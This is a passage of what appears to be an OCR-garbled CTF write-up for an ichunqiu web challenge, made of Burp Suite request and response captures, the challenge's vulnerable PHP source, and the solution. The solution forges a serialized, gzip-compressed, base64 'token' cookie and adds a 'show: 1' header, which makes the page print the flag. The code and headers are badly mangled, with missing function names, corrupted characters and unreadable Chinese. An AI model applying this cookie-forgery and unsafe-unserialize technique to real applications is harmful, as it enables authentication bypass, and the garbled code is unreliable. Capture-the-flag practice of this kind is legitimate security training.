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Response
Raw [ H 5 | Hex T HTML I Render ]
Name |Value
Connection close
Vary Accept-Encoding
Vary Accept-Encoding
Expires Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Drngl-nn o —he
show 0
Vary Accept-Encoding
¥-Via-J5L OabbG49 -
¥-Cache bypass
<head:>

f~show=0, EIERMRERHAERH? FEFRE 2N Lshow: 1

Request

ﬁj Raw I Params I Headers T Hex }

GET fmember.php HTTRM 1

Host: e04a61c923584Lf7 bE03 114654366 dfBb3e8e83f40c84305. changame.ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8

Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

=|—|Content—Len th: O
show: 1 i
~Referer; http://e04a61c9235840f7 6031465436 dfBb3 2828340084305, changame.ichungiu. com/

Connection: close
Cookie: pgv_pvi=107 4417664, chkphone=ac\WxNpxhQpDiAchhMNuSnEqyiQuDIC0C0o,
ci_session=9cIddccEEeasi70917 edfsfabbeBs0154 81 bafd;
__isluid=0ffalb49:92e995chd6af62da322cf0; PHPSESSID=smiz47h1a6a9ni908p3001 gnu?
=Y Upgrade-Insecure-Requests: 1
o
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<?php
include ‘common.php';
$requset = ($_GET, $_POST, $ SESSION, $_COOKIE);
class db
{
public $where;
function 0

($this->where))

$this-> ($this->where);

function ($where)

{
$sql = ('select * from user where '.$where);
return @ ($sql);

ki

ki

iff( ($requset['token']))
{

$login = ($requset['token'])));
$db = new db();

$row = $db-> (‘user=\". ($login['user']).'\");
if($login['user'] === "ichungqiu')

{

echo $flag;

lelse if($row'pass'] == $login['pass']){

echo 'unserialize injection!!";

telse{

echo "(&E 0 OB 8K )8R D S 8 5

ki
telse{

('Location: index.php?error=1");

—=="ichunqiu’B 7],

<?php
Bi=[

"user" => "ichunqiu",

( ( ($))));
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55 FlcookieH itoken HiAT T, XABHE L FIH show: 1, AREAFflag

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTML]'Render]

GET /member.php HTTR/ 1 & public $where;
Host: e04a61c923584 k{7 bE03114 5436 df8h3e8283140c84305. changame.ichungiu.com r function __ wakeup() r
. User-Agent: Mozilla/5.0 (Windows MT 10.0; WinB4; xB4; nvBE.0) Gecko/20100101 Firefox/66.0 {
b Accept: text/html application/xhtml+xml application/xml;q=0.9 **,q=0.8 if{lempty($this->where))
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;¢=0.5 en-US;q=0.3 en;q=0.2 {
Accept-Encoding: gzip, deflate Jthis-> select{$this->where);
ICunlent-Length 1] )
show: 1 }
Referer: http://e04a61c523584bff b603114 2543e6dfBh3eBe83f40c84305. changame.ichungiu.com/
Connection: close function select{$whers)
Cookie: pgv_pvi=1074417664; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000, {
'\J ci_session=9cIddcc6fcaly 0917 e3f6fabbeb50154e1hafl; Bsql = mysql_query('select * from user where ' Jwhere);
—jsluid=0ffalb49c92e995chdB5fhE2da322ef0; PHPSESSID=smiz47h1a6adni9g8pd01 gnu7; retum @mysql_fetch_array($sql);
token=eJxLtDKDiE2MrF SKiT OLVKyLraysFLEKTM4oz SuMLFWyrgUAod okA== | }
Upgrade-Insecure-Requests: 1 3} I
ifisset($requset] token’]))
g
1
dlogin = unserialize(gzuncompress{basetd_decode($requset| token)));
$db = new db();
JFrow = $db->select(user=\"mysql_real escape stnng(¥loginfuser]).\],
< if(&login[ user] === ichungiu)
| ¢
echo ¥flag;
Jelse if(Srovf pass] I== Slogin[pass]{
Z echo unsenalize injectioni!’;
Jelsef
echo "(+ 'O ) ~t—L";
il }
Jelsef
header({'Location: index php?error=1);
n ;
7= -+flag{B01534a9-ceaad1ad B1eb-a952ed7eflfd})
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